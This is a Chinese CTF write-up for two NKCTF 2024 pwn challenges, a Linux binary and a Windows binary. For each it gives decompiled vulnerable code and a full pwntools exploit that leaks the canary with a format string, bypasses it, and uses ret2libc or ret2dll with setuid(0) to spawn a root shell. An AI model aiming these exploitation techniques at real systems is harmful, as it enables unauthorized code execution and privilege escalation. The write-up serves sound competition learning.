nkctf_wp
唉咱好菜,就出了两个题,后几题都没有思路
Maimai查分器
子函数这里有一个格式化字符串和栈溢出漏洞,用格式化字符串泄露libc的地址和canary的值,然后打ret2libc就好了,打通后catflag发现没有权限,看了一下challenge文件,有suid权限,所以可以用libc中的setuid(0)函数提权,然后cat flag
| unsigned __int64 sub_19EA()
{
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Input your nickname.");
read(0, buf, 8uLL);
printf(buf);
printf(", your rating is: %d\n", (unsigned int)dword_504C);
if ( dword_504C < dword_5010 )
{
puts("I think you should play more maimai.");
exit(0);
}
sub_1984();
return v2 - __readfsqword(0x28u);
}
unsigned __int64 sub_1984()
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Big God Coming!");
puts("Can you teach me how to play maimai?");
read(0, buf, 0x80uLL);
return v2 - __readfsqword(0x28u);
}
|
exp:
| from pwn import *
## from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "node.nkctf.yuzhian.com.cn"
PORT = 30008
elf = context.binary = ELF('./pwn')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
def playmaimai():
sla("Select a option:","1")
ru("Input chart level and rank.")
for i in range(50):
sl("234 SSS+")
p = connect()
playmaimai()
sla("Select a option:","2")
payload = "%7$p"
sa("Input your nickname.",payload)
rl()
leak_canary = int(r(18),16)
success(hex(leak_canary))
sla("Can you teach me how to play maimai?","AAAA")
sla("Select a option:","2")
payload = "%13$paa"
## g(p)
sa("Input your nickname.",payload)
rl()
libc_base = int(r(14),16) - 0x29d90
success(hex(libc_base))
rdi = libc_base + 0x000000000002a3e5
ret = libc_base + 0x0000000000029139
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
setuid = libc_base + libc.sym['setuid']
payload = flat([
b'a' * 0x28,leak_canary,b'a' * 0x8,
rdi,0,setuid,
rdi,binsh,system
])
sla("Can you teach me how to play maimai?",payload)
p.interactive()
|
来签个到
第一次做winpwn 相关的challenge
https://xz.aliyun.com/t/11891?time__1311=mqmx0DBD9DyG0QeDsKoYKIaNzY4AKvNx&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ft%2F11913%3Ftime__1311%3Dmqmx0DBGnDnDyDBuex2lfgx7KG%253DkmtG8KeD%26alichlgref%3Dhttps%253A%252F%252Fcn.bing.com%252F#toc-1
如何调试:
可以使用 https://github.com/Ex-Origin/win_server这个项目,用pwntool的remote()去连接,连接成功后会开启一个challenge相关的进程,连接成功后先pause(),用windbg attach上去,然后 bp address,g 打断点,之后pwntool那恢复运行,这样就会在断点那断下来
存在一个格式化字符串和栈溢出漏洞,没有pie和nx但是有canary,canary的位置在 ebp - 0xc的位置,尝试了一下%n$p这种表达式发现不太行,只能用大量的%p去泄露canary
利用的思路是泄露canary和动态链接库的地址,然后用动态链接库中的 system()执行 system("cmd.exe"). ret2dll,
泄露的方式是用puts把iat表给打印出来
| int OH()
{
char s[100]; // [esp+18h] [ebp-70h] BYREF
puts("NKCTF2024");
memset(s, 0, sizeof(s));
gets(s);
printf(s);
printf("ohhh,no");
gets(s);
return 1;
}
|
exp
| from pwn import *
## from LibcSearcher import *
import itertools
import ctypes
context(os='windows', arch='i386', log_level='debug')
is_debug = 0
IP = "192.168.1.101"
PORT = 9999
IP = "123.60.25.223"
PORT = 10001
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
payload = "%p-" * 0x3 + "%p" * 27 + "-%p"
## pause()
sla("NKCTF2024",payload)
ru('-')
ru('-')
leak = int(r(8),16)
buf_addr = leak - (0x61fee0 - 0x61fea8)
print(hex(buf_addr))
ru('-')
ru('-')
canary = int(r(8),16)
print(hex(canary))
puts_plt = 0x00403F8C
iat_puts = 0x00409230
main = 0x00401473
payload = b'%s' + b'a' * (0x70 - 0xc - 2) + struct.pack('<I', canary)
payload = payload.ljust(0x74,b'a')
payload += struct.pack('<I', puts_plt)
payload += struct.pack('<I', main)
payload += struct.pack('<I', iat_puts)
sla("ohhh,no",payload)
puts_addr = u32(r(4))
print(hex(puts_addr))
dll_base = puts_addr - 0x1017BA80
system_addr = dll_base + 0x10144700
cmd = dll_base + 0x101048C8
print(hex(dll_base))
payload = b'a' * (0x70 - 0xc) + struct.pack('<I', canary)
payload = payload.ljust(0x74,b'a')
payload += struct.pack('<I', system_addr)
payload += struct.pack('<I', main)
payload += struct.pack('<I', cmd)
sl("AAAA")
sla("ohhh,no",payload)
p.interactive()
|